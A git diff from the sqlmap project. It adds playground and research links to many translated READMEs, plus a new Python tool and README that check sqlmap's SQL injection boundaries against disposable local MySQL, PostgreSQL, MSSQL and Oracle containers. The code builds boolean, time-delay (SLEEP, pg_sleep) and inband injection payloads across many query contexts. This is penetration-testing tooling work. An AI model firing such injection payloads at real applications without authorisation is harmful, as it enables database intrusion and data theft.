* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* プレイグラウンド: https://sekumart.sekuripy.hr
|
||||
* 研究: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
|
||||
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
|
||||
* კვლევა: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
|
||||
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
||||
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 플레이그라운드: https://sekumart.sekuripy.hr
|
||||
* 연구: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ Links
|
||||
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Speeltuin: https://sekumart.sekuripy.hr
|
||||
* Onderzoek: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ Odnośniki
|
||||
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Piaskownica: https://sekumart.sekuripy.hr
|
||||
* Badania: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ Links
|
||||
* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrações: [#1](https://www.youtube.com/user/inquisb/videos) e [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Playground: https://sekumart.sekuripy.hr
|
||||
* Pesquisa: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ Linkovi
|
||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Poligon: https://sekumart.sekuripy.hr
|
||||
* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Slike: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
|
||||
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Песочница: https://sekumart.sekuripy.hr
|
||||
* Исследования: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ Linky
|
||||
* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
* Cvičisko: https://sekumart.sekuripy.hr
|
||||
* Výskum: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -50,4 +50,6 @@ Bağlantılar
|
||||
* Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Deneme alanı: https://sekumart.sekuripy.hr
|
||||
* Araştırma: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
|
||||
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Пісочниця: https://sekumart.sekuripy.hr
|
||||
* Дослідження: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -49,4 +49,6 @@ Liên kết
|
||||
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Sân tập: https://sekumart.sekuripy.hr
|
||||
* Nghiên cứu: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,6 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和
|
||||
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* 靶场: https://sekumart.sekuripy.hr
|
||||
* 研究: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
# boundarycheck
|
||||
|
||||
A live cross-DBMS validator for `data/xml/boundaries.xml`. For every reachable DBMS it builds the
|
||||
**real** injected value for each boundary (through sqlmap's own `agent.prefixQuery` / `suffixQuery` /
|
||||
`cleanupPayload`, not a re-implementation) across representative host-query contexts, runs it against
|
||||
the engine, and classifies each boundary via three oracles:
|
||||
|
||||
```
|
||||
W boolean TRUE/FALSE variants are valid AND their row counts differ
|
||||
T time an inline conditional sleep delays on TRUE, not on FALSE (MySQL / PostgreSQL)
|
||||
I inband an injected marker surfaces in the result set (table cross-join / UNION)
|
||||
. inert valid SQL but no channel discriminated in the contexts tried
|
||||
x invalid a syntax / semantic error on this engine
|
||||
```
|
||||
|
||||
It prints a `boundary x engine` matrix plus the boundaries usable via **no** oracle on any engine
|
||||
(the "no working context found" review candidates). Any engine that does not connect is **skipped**
|
||||
and reported as such — never silently counted as covered.
|
||||
|
||||
> Scope: covers boolean + inline-time (MySQL/PG) + inband over a sampled set of contexts. It does
|
||||
> **not** model an error-based oracle, inline time on MSSQL/Oracle (statement/privilege-gated sleep),
|
||||
> or every possible host context. So a boundary flagged "usable via no oracle" may still work via one
|
||||
> of those — confirm before acting.
|
||||
|
||||
---
|
||||
|
||||
## Quick start (throwaway MySQL + PostgreSQL)
|
||||
|
||||
```bash
|
||||
pip install pymysql psycopg2-binary # python drivers (see below for MSSQL/Oracle)
|
||||
./run.sh # spins up 2 containers, runs, tears everything down
|
||||
```
|
||||
|
||||
`run.sh` is fully disposable: it creates two containers, waits for readiness, runs the tool, and
|
||||
removes them again on exit (including Ctrl-C / failure). Nothing persists.
|
||||
|
||||
---
|
||||
|
||||
## Full lab (all four engines) — step by step
|
||||
|
||||
The tool's built-in default endpoints (override any via env var — see below):
|
||||
|
||||
| engine | host:port | user / pass | db / service |
|
||||
|------------|-------------------|----------------------|--------------|
|
||||
| MySQL | `127.0.0.1:13306` | `root` / `root` | — |
|
||||
| PostgreSQL | `127.0.0.1:15432` | `esp` / `pass` | `espdb` |
|
||||
| MSSQL | `127.0.0.1:11433` | `sa` / `Esp_pass123` | — |
|
||||
| Oracle | `127.0.0.1:1521` | `system` / `oracle` | `FREEPDB1` |
|
||||
|
||||
### 1. Python drivers
|
||||
|
||||
```bash
|
||||
pip install pymysql psycopg2-binary pymssql oracledb
|
||||
```
|
||||
|
||||
(Install only the ones you need — a missing driver just skips that engine.)
|
||||
|
||||
### 2. Start the containers
|
||||
|
||||
```bash
|
||||
# MySQL (fast)
|
||||
docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:3306 mysql:8.4
|
||||
|
||||
# PostgreSQL (fast)
|
||||
docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p 15432:5432 postgres:16
|
||||
|
||||
# MSSQL (slower; ~30-60s to accept connections)
|
||||
docker run -d --rm --name bcheck-mssql -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=Esp_pass123 -p 11433:1433 mcr.microsoft.com/mssql/server:2022-latest
|
||||
|
||||
# Oracle Free (slowest; first boot can take a few minutes and the image is large)
|
||||
docker run -d --rm --name bcheck-oracle -e ORACLE_PASSWORD=oracle -p 1521:1521 gvenzl/oracle-free:slim
|
||||
```
|
||||
|
||||
Give MSSQL/Oracle time to finish initialising before running the tool (watch `docker logs -f <name>`).
|
||||
|
||||
### 3. Run
|
||||
|
||||
```bash
|
||||
python3 boundarycheck.py # from anywhere; it locates the sqlmap root itself
|
||||
```
|
||||
|
||||
### 4. Override an endpoint (optional)
|
||||
|
||||
```
|
||||
BC_MYSQL=host:port:user:pass
|
||||
BC_POSTGRES=host:port:user:pass:db
|
||||
BC_MSSQL=host:port:user:pass
|
||||
BC_ORACLE=host:port:user:pass:service # service_name goes in the db slot
|
||||
```
|
||||
|
||||
```bash
|
||||
BC_MYSQL=10.0.0.5:3306:root:secret python3 boundarycheck.py
|
||||
```
|
||||
|
||||
### 5. Tear down
|
||||
|
||||
```bash
|
||||
docker rm -f bcheck-mysql bcheck-pg bcheck-mssql bcheck-oracle
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Notes
|
||||
|
||||
- **Faithfulness:** the tool imports the `plugins.dbms.*` packages so each DBMS's `unescaper` is
|
||||
registered. Without that, `SELECT '[RANDSTR]'` renders as a bare identifier instead of the real
|
||||
`0x`-hex / `CHR()` literal and concat-style boundaries are mis-reported. A `_faithful_or_die()`
|
||||
self-check aborts if the registration ever fails to load.
|
||||
- **Side-effect-free on the target data:** it creates a scratch table `bc` (and a `boundarycheck`
|
||||
database on MySQL), and drops them on completion. DML boundaries write only to a spare `note` column.
|
||||
- Engines are used purely as SQL oracles over localhost throwaway containers — do not point the
|
||||
override env vars at anything you care about.
|
||||
@@ -0,0 +1,389 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Live cross-DBMS validator for data/xml/boundaries.xml.
|
||||
|
||||
WHAT
|
||||
For every reachable DBMS this builds the REAL injected parameter value for each
|
||||
boundary - through the actual agent.prefixQuery / suffixQuery / cleanupPayload
|
||||
path, NOT a re-implementation - across a set of representative host-query
|
||||
contexts, runs the TRUE and FALSE variants against the live engine, and
|
||||
classifies the boundary via three oracles:
|
||||
|
||||
W (WORKS) boolean: TRUE/FALSE variants are valid AND their row counts differ
|
||||
T (TIME) inline conditional sleep delays on TRUE, not on FALSE (MySQL/PG only)
|
||||
I (INBAND) an injected marker surfaces in the result set (table cross-join / UNION)
|
||||
. (inert) valid SQL but no channel discriminates in the contexts tried
|
||||
x (invalid) a syntax/semantic error on this engine
|
||||
|
||||
Output is a boundary x engine matrix plus the boundaries usable via NO oracle on any
|
||||
reachable engine - the "no working context found" review candidates.
|
||||
|
||||
WHY
|
||||
boundaries.xml is the detection core. This answers "does boundary X actually
|
||||
produce valid, discriminating SQL on engine Y" with evidence instead of argument.
|
||||
|
||||
FAITHFULNESS (do not remove the plugins.dbms.* imports)
|
||||
The per-DBMS `unescaper` registrations load only when the plugin packages are
|
||||
imported. Without them "SELECT '[RANDSTR]'" renders as a bare identifier instead
|
||||
of the real 0x-hex / CHR() literal, and every concat-style boundary is falsely
|
||||
reported broken. The import plus _faithful_or_die() guard against that.
|
||||
|
||||
SCOPE / LIMITATION
|
||||
Covers the boolean, inline-time (MySQL/PG) and inband oracles over a representative
|
||||
set of host contexts. Still NOT modeled: the error-based oracle, inline time on
|
||||
MSSQL/Oracle (statement/privilege-gated sleep), and any host context not in the set.
|
||||
So a boundary flagged "usable via NO oracle" may still work via one of those - confirm
|
||||
before acting. "inert" means no channel discriminated in the contexts tried.
|
||||
|
||||
BENCH
|
||||
Needs live engines. Defaults target the local docker bench; any engine that does
|
||||
not connect (driver missing or refused) is SKIPPED and reported as skipped - never
|
||||
silently counted as covered. Override a target with an env var (host:port:user:pass[:db]):
|
||||
|
||||
MySQL BC_MYSQL default 127.0.0.1:13306:root:root
|
||||
PostgreSQL BC_POSTGRES default 127.0.0.1:15432:esp:pass:espdb
|
||||
MSSQL BC_MSSQL default 127.0.0.1:11433:sa:Esp_pass123
|
||||
Oracle BC_ORACLE default 127.0.0.1:1521:system:oracle:FREEPDB1 (service_name in db slot)
|
||||
|
||||
USAGE (from the sqlmap root)
|
||||
python extra/boundarycheck/boundarycheck.py
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import xml.etree.ElementTree as ET
|
||||
|
||||
_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
|
||||
sys.path.insert(0, _ROOT)
|
||||
sys.path.insert(0, os.path.join(_ROOT, "tests"))
|
||||
|
||||
from _testutils import bootstrap, set_dbms
|
||||
bootstrap()
|
||||
|
||||
# Faithfulness (see FAITHFULNESS above): importing each DBMS plugin package runs its module-level
|
||||
# `unescaper[<dbms>] = Syntax.escape` registration - a side effect, not a symbol we use. Trigger it via
|
||||
# import_module so there is no bound-but-unused name for pyflakes to flag.
|
||||
import importlib
|
||||
for _plugin in ("mysql", "postgresql", "oracle", "mssqlserver"):
|
||||
importlib.import_module("plugins.dbms.%s" % _plugin)
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.unescaper import unescaper
|
||||
import lib.core.agent as _agentmod
|
||||
|
||||
agent = _agentmod.agent
|
||||
conf.noEscape = False
|
||||
|
||||
TRUE_PAYLOAD = "AND 9911=9911"
|
||||
FALSE_PAYLOAD = "AND 9911=9912"
|
||||
TIME_THRESHOLD = 0.4 # seconds; a conditional sleep of ~0.7s must clear this, a no-op must not
|
||||
INBAND_MARKER = "qBCiNBANDq" # distinctive token; if it surfaces in the result set the
|
||||
INBAND_PAYLOAD = "(SELECT '%s')" % INBAND_MARKER # boundary opens an inband output channel (e.g. a table cross-join)
|
||||
|
||||
# per-engine conditional-sleep payload pair (delay-if-true, no-delay) for the TIME oracle. Only engines
|
||||
# with an INLINE sleep expression are covered; MSSQL (WAITFOR is a statement) and Oracle (DBMS_LOCK/PIPE,
|
||||
# privilege-gated) need a statement/stacked sleep, so their inline time-usability is NOT modeled here.
|
||||
SLEEP = {
|
||||
"MySQL": ("AND 0=(SELECT SLEEP(0.7))", "AND 0=(SELECT SLEEP(0))"), # subquery => fires once, not per-row
|
||||
"PostgreSQL": ("AND 1=(SELECT 1 FROM pg_sleep(0.7))", "AND 1=(SELECT 1 FROM pg_sleep(0))"),
|
||||
}
|
||||
|
||||
# portable WHERE-clause contexts at parenthesis depths 0-3 (numeric + single-quoted string), so the
|
||||
# ')' / '))' / ')))' and "'" / "')" / "'))" boundary families each meet a host that actually closes
|
||||
# the matching depth. Reused by every engine; engine-specific contexts are appended in the adapters.
|
||||
WHERE_CONTEXTS = [
|
||||
("SELECT COUNT(*) FROM bc WHERE name LIKE '%%%s%%'", "orig"), # LIKE '%...%'
|
||||
("SELECT COUNT(*) FROM bc %s", ""), # bare pre-WHERE (add a WHERE)
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE id=%s) q", "1"), # derived table (numeric)
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name='%s') q", "orig"), # derived table (single-quote)
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE id=%s) a) q", "1"), # derived table 2-deep
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name='%s') a) q", "orig"),
|
||||
("UPDATE bc SET note='%s' WHERE id=1", "orig"), # pre-WHERE DML (rowcount oracle)
|
||||
("SELECT * FROM %s", "bc"), # table-name (inband cross-join)
|
||||
]
|
||||
for _depth in range(4):
|
||||
_open, _close = "(" * _depth, ")" * _depth
|
||||
WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "id=%s" + _close, "1"))
|
||||
WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "name='%s'" + _close, "orig"))
|
||||
|
||||
|
||||
def _faithful_or_die():
|
||||
set_dbms("MySQL")
|
||||
if unescaper.escape("abc", quote=False) == "abc":
|
||||
sys.exit("FATAL: unescaper not registered - '[RANDSTR]' would render as a bare identifier and "
|
||||
"verdicts would be wrong. Check the plugins.dbms.* imports at the top of this file.")
|
||||
|
||||
|
||||
def build_value(dbms, prefix, suffix, clause, payload, orig):
|
||||
"""The real injected parameter value for where=ORIGINAL (checks.py:490-493 + agent.payload line 181/183)."""
|
||||
set_dbms(dbms)
|
||||
kb.injection = AttribDict()
|
||||
for _ in ("prefix", "suffix", "clause", "ptype", "place", "parameter"):
|
||||
kb.injection[_] = None
|
||||
kb.injection.data = AttribDict()
|
||||
kb.technique = None
|
||||
forged = agent.prefixQuery(agent.cleanupPayload(payload), prefix, PAYLOAD.WHERE.ORIGINAL, clause)
|
||||
forged = agent.suffixQuery(forged, None, suffix, PAYLOAD.WHERE.ORIGINAL)
|
||||
value = agent.cleanupPayload("%s%s" % (orig, forged), orig) or ""
|
||||
return value.replace(_agentmod.BOUNDARY_BACKSLASH_MARKER, "\\")
|
||||
|
||||
|
||||
def make_run(cur, rollback=None):
|
||||
"""A query runner: returns ("ok", rows) for a result set, ("ok", ("rc", n)) for a DML row count
|
||||
(cursor.description is None => no result set), or ("err", msg). DML lets pre-WHERE boundaries be
|
||||
judged by affected-row count (TRUE matches rows, FALSE matches none)."""
|
||||
def run(sql):
|
||||
try:
|
||||
cur.execute(sql)
|
||||
except Exception as e:
|
||||
if rollback:
|
||||
try:
|
||||
rollback()
|
||||
except Exception:
|
||||
pass
|
||||
return ("err", str(e).splitlines()[-1][:50])
|
||||
if cur.description is None:
|
||||
return ("ok", ("rc", cur.rowcount))
|
||||
return ("ok", tuple(cur.fetchall()))
|
||||
return run
|
||||
|
||||
|
||||
def classify(run, dbms, prefix, suffix, clause, contexts):
|
||||
"""Best verdict of a boundary across the engine's contexts: WORKS(boolean) > TIME > inert > invalid.
|
||||
|
||||
The TIME oracle only runs when the boolean probe was valid-but-inert (best=='inert') - i.e. the
|
||||
injected SQL parses and runs but the boolean AND does not change the row count. That is exactly the
|
||||
error/time-primitive candidate: a conditional sleep that delays on TRUE and not on FALSE proves the
|
||||
injected expression actually executes. If every boolean probe was a syntax error (best=='invalid'),
|
||||
the same syntax fails the time payload too, so it is skipped."""
|
||||
best = "invalid"
|
||||
for host, orig in contexts:
|
||||
st, rt = run(host % build_value(dbms, prefix, suffix, clause, TRUE_PAYLOAD, orig))
|
||||
sf, rf = run(host % build_value(dbms, prefix, suffix, clause, FALSE_PAYLOAD, orig))
|
||||
if st == "ok" and sf == "ok":
|
||||
if rt != rf:
|
||||
return "WORKS"
|
||||
best = "inert"
|
||||
|
||||
if best == "inert" and dbms in SLEEP:
|
||||
slow_p, fast_p = SLEEP[dbms]
|
||||
for host, orig in contexts:
|
||||
t0 = time.time()
|
||||
run(host % build_value(dbms, prefix, suffix, clause, slow_p, orig))
|
||||
if time.time() - t0 >= TIME_THRESHOLD: # TRUE variant delayed
|
||||
t0 = time.time()
|
||||
run(host % build_value(dbms, prefix, suffix, clause, fast_p, orig))
|
||||
if time.time() - t0 < TIME_THRESHOLD: # FALSE variant did not
|
||||
return "TIME"
|
||||
|
||||
# inband: the injected expression's output surfaces directly in the result set (a table-name
|
||||
# cross-join, UNION or select-list channel) - invisible to the boolean/time oracles above.
|
||||
for host, orig in contexts:
|
||||
st, r = run(host % build_value(dbms, prefix, suffix, clause, INBAND_PAYLOAD, orig))
|
||||
if st == "ok" and INBAND_MARKER in str(r):
|
||||
return "INBAND"
|
||||
return best
|
||||
|
||||
|
||||
def _env(name, default):
|
||||
parts = (os.environ.get(name) or default).split(":")
|
||||
parts += [None] * (5 - len(parts))
|
||||
host, port, user, pwd, db = parts[:5]
|
||||
return host, int(port), user, pwd, db
|
||||
|
||||
|
||||
# --- engine adapters: return (sqlmap_dbms, run_fn, contexts, cleanup_fn) or None to skip -------------
|
||||
|
||||
def _mysql():
|
||||
try:
|
||||
import pymysql
|
||||
h, p, u, w, _ = _env("BC_MYSQL", "127.0.0.1:13306:root:root")
|
||||
c = pymysql.connect(host=h, port=p, user=u, password=w, connect_timeout=5, autocommit=True)
|
||||
cur = c.cursor()
|
||||
cur.execute("CREATE DATABASE IF NOT EXISTS boundarycheck")
|
||||
cur.execute("USE boundarycheck")
|
||||
for q in ("DROP TABLE IF EXISTS bc",
|
||||
"CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64),FULLTEXT(name)) ENGINE=InnoDB",
|
||||
"INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"):
|
||||
cur.execute(q)
|
||||
c.commit()
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[0][:60]
|
||||
|
||||
run = make_run(cur, c.rollback)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
("SELECT `%s` FROM bc", "name"), # backtick column identifier
|
||||
('SELECT COUNT(*) FROM bc WHERE name="%s"', "orig"), # MySQL: " is a string delim
|
||||
('SELECT COUNT(*) FROM bc WHERE (name="%s")', "orig"),
|
||||
('SELECT COUNT(*) FROM bc WHERE ((name="%s"))', "orig"),
|
||||
('SELECT COUNT(*) FROM bc WHERE (((name="%s")))', "orig"),
|
||||
('UPDATE bc SET note="%s" WHERE id=1', "orig"), # double-quote pre-WHERE DML
|
||||
('SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name="%s") q', "orig"), # dq derived table
|
||||
('SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name="%s") a) q', "orig"),
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment
|
||||
("SELECT COUNT(*) FROM bc WHERE MATCH(name) AGAINST('%s')", "orig"), # fulltext (IN BOOLEAN MODE)
|
||||
("SELECT COUNT(*) FROM `%s`", "bc"), # backtick table
|
||||
("SELECT COUNT(*) FROM (SELECT * FROM `%s`) q", "bc")] # backtick table in derived
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
cur.execute("DROP DATABASE boundarycheck"); c.commit(); c.close()
|
||||
except Exception:
|
||||
pass
|
||||
return ("MySQL", run, contexts, cleanup), None
|
||||
|
||||
|
||||
def _postgres():
|
||||
try:
|
||||
import psycopg2
|
||||
h, p, u, w, db = _env("BC_POSTGRES", "127.0.0.1:15432:esp:pass:espdb")
|
||||
c = psycopg2.connect(host=h, port=p, user=u, password=w, dbname=db, connect_timeout=5)
|
||||
c.autocommit = True
|
||||
cur = c.cursor()
|
||||
cur.execute("DROP TABLE IF EXISTS bc")
|
||||
cur.execute("CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))")
|
||||
cur.execute("INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')")
|
||||
except Exception as ex:
|
||||
return None, str(ex).splitlines()[0][:60]
|
||||
|
||||
run = make_run(cur, c.rollback)
|
||||
contexts = WHERE_CONTEXTS + [
|
||||
('SELECT id FROM bc ORDER BY "%s"', "name"), # ANSI double-quote identifier
|
||||
("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"), # block comment
|
||||
("SELECT COUNT(*) FROM bc WHERE name=$$%s$$", "orig")] # dollar quoting
|
||||
|
||||
def cleanup():
|
||||
try:
|
||||
cur.execute("DROP TABLE bc"); c.close()
|
||||
except Exception:
|
||||
pass
|
||||
